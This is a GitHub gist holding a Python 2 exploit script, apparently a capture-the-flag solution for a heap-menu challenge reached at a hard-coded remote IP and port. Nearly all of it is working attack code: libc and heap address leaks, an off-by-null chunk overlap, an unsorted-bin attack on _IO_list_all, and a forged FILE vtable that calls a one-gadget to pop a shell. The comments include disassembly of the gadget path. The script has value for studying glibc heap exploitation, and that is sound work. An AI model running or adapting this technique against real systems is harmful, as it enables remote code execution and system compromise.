Skip to content

Instantly share code, notes, and snippets.

@peternguyen93
Created November 8, 2017 14:42
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save peternguyen93/d541cf00289252eb518e40348d0f2235 to your computer and use it in GitHub Desktop.
Save peternguyen93/d541cf00289252eb518e40348d0f2235 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
# Author : peternguyen
from Pwn import *
# p = Pwn(mode=1,port=8887)
p = Pwn(mode=1,host='52.193.196.17',port=56746)
def select(op):
p.read_until('Your choice: ')
p.sendint(op)
return op
def add_heap(heap):
select(1)
p.read_until('Data :')
p.send(heap)
def free_heap(idx):
select(2)
p.read_until('Index :')
p.sendint(idx)
def add_ghost(magic,dat):
select(3)
p.read_until('Magic :')
p.sendint(magic)
p.read_until('Description :')
p.send(dat)
def watch_ghost(magic):
select(4)
p.read_until('Magic :')
p.sendint(magic)
return p.read_until('$$$$$$')
def free_ghost():
select(5)
return p.read_until('$$$$$$')
def exploit(**kargs):
global p # use global var
if kargs.has_key('p'):
if kargs['p'].__class__.__name__ == 'Pwn': # is pwn object
p = kargs['p']
p.connect()
# leak libc
add_heap('A'*168)
add_heap('B'*168)
add_heap('C'*160 + '\n')
free_heap(1)
add_ghost(0x133737,'A')
out = watch_ghost(0x133737)
# raw_input('>>')
print repr(out)
# raw_input('>>')
# local libc heap
# idx = out.find('\xf7')
# libc = out[idx-3:idx + 1] + '\xff\x7f'
# remote libc heap
idx = out.find('\x7f')
libc = out[idx-5:idx + 1]
print repr(libc)
libc = p.unpack(libc) - 0x3c1b41
# print hex(libc)
# raw_input('>>')
# libc = p.unpack(libc) - 0x3c4c41
# libc = p.unpack(libc) - 0x3c1b41
print 'libc:',hex(libc)
io_list_all = libc + 0x3c2500
# io_list_all = libc + 0x3c5520
# buf_base = libc + 0x3c5548 + 16
# magic = libc + 0xf1117
magic = libc + 0xcde41
# clear everything
free_ghost()
free_heap(0)
free_heap(2)
# leak heap base
add_heap('1'*168)
add_ghost(0x133737,'Z'*71)
add_heap('B'*168)
add_heap('C'*160 + '\n')
free_heap(0)
free_heap(1)
add_heap('2'*7 + '\n')
add_heap('C'*8 + '\n')
free_ghost()
free_heap(2)
free_heap(1)
free_heap(0)
add_ghost(0x133737,'A'*8)
out = watch_ghost(0x133737)
idx = out.find('$')
heap = p.unpack(out[idx - 6:idx]) - 0x110
print 'Heap:',hex(heap)
add_heap('3'*160 + '\n')
free_ghost()
free_heap(0)
# exploit here
add_heap('4'*168)
add_heap('B'*168)
add_heap('C'*160 + p.pack(0xb0)[:7] + '\n')
add_ghost(0x133737,'M'*71)
free_heap(2)
free_heap(0)
free_heap(1)
raw_input('>')
fake_free_chunk = p.pA(
heap + 0xd0 - 0x18,
heap + 0xd0 - 0x10,
heap + 0xb0
)
fake_free_chunk = fake_free_chunk.ljust(160,'5')
# off byte null overrite free_chunk->size = 0x160 -> 0x100
add_heap('6'*168)
add_heap(fake_free_chunk + p.pack(0xb0)[:7] + '\n')
fake_next_size = p.pA(0x171,0xa1)
fake_next_size = fake_next_size.ljust(160,'K')
add_heap(fake_next_size + '\n')
free_ghost()
# malloc_consolidate think ghost->prev_size = 0x160 is correct size
# and consolidate with heap_1
# heap_1 is now overllaping with av->top
free_heap(2)
free_heap(0)
add_ghost(0x13337,'8'*71)
fake_ghost = 'A'*48
fake_ghost+= p.pack(heap + 0x1d0 - 0x18)#p.pack(0x424242)#p.pack(heap + 0xc0)
fake_ghost = fake_ghost.ljust(0x40,'A')
fake_ghost+= p.pA(
0x60,0x111
)
fake_ghost = fake_ghost.ljust(160,'X')
add_heap(fake_ghost + '\n')
fake_next_size = '9'*0x40
fake_next_size+= p.pA(
0xb0,0,
0xb0,0x1001
)
fake_next_size = fake_next_size.ljust(160,'R')
add_heap(fake_next_size + '\n')
# teardown ghost to smallbin[4]
free_ghost()
free_heap(1)
fake_unsorted_chunk = p.pA(
heap + 0xd0 - 0x18,
heap + 0xd0 - 0x10,
heap + 0xb0
)
fake_unsorted_chunk = fake_unsorted_chunk.ljust(0x50,'K')
fake_unsorted_chunk+= p.pA(0x60,0x60)
fake_unsorted_chunk = fake_unsorted_chunk.ljust(160,'K')
add_heap(fake_unsorted_chunk + p.pack(0xb0)[:6]+ '\n')
# overwrite unsorted_bin->bck
free_heap(2)
fake_next_size = 'W'*0x18
fake_next_size+= p.pack(magic)
fake_next_size = fake_next_size.ljust(0x50,'W')
fake_next_size+= p.pA(
0xb0,0x51
)
fake_next_size+= p.pA(2,100)
fake_next_size.ljust(160,'N')
add_heap(fake_next_size + '\n')
free_heap(1)
add_ghost(0xb0,'G'*64 + p.pack(0xb0)[:7])
pad1 = 'Y'*0x50
pad1+= p.pA(0x60,0xb1)
pad1 = pad1.ljust(160,'F')
add_heap(pad1 + '\n')
free_heap(1)
free_ghost()
# free_heap(2)
# vtable call _IO_wstr_finish to abuse
# fp->xxxx() to get shellcode
# 0x00007ffff7a848e0 <+0>: push rbx
# 0x00007ffff7a848e1 <+1>: mov rax,QWORD PTR [rdi+0xa0]
# 0x00007ffff7a848e0 <+0>: push rbx
# 0x00007ffff7a848e1 <+1>: mov rax,QWORD PTR [rdi+0xa0]
# 0x00007ffff7a848e8 <+8>: mov rbx,rdi
# 0x00007ffff7a848eb <+11>: mov rdi,QWORD PTR [rax+0x30]
# 0x00007ffff7a848ef <+15>: test rdi,rdi
# 0x00007ffff7a848f2 <+18>: je 0x7ffff7a84907 <_IO_wstr_finish+39>
# 0x00007ffff7a848f4 <+20>: test BYTE PTR [rbx+0x74],0x8
# 0x00007ffff7a848f8 <+24>: jne 0x7ffff7a84907 <_IO_wstr_finish+39>
# 0x00007ffff7a848fa <+26>: call QWORD PTR [rbx+0xe8] => rbx is FILE structer
# 0x00007ffff7a84900 <+32>: mov rax,QWORD PTR [rbx+0xa0]
# 0x00007ffff7a84907 <+39>: mov QWORD PTR [rax+0x30],0x0
# 0x00007ffff7a8490f <+47>: mov rdi,rbx
# 0x00007ffff7a84912 <+50>: xor esi,esi
# 0x00007ffff7a84914 <+52>: pop rbx
# 0x00007ffff7a84915 <+53>: jmp 0x7ffff7a83340 <__GI__IO_wdefault_finish>
vtable = libc + 0x3bdbd0 - 0x18 # _IO_wstr_finish
print "vtable:",hex(vtable)
concac = p.pA(0x414141414,0x424242)
concac+= p.pA(0x414141414,vtable)
concac+= p.pA(0x414141414,magic)*3 # => call [rbx + 0xe8]
concac+= p.pA(
0x60,0x111,
0x414141414,
# buf_base - 0x10
io_list_all - 0x10
)
concac = concac.ljust(160,'A')
add_heap(concac + '\n')
free_heap(2)
select(1)
p.io()
exploit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment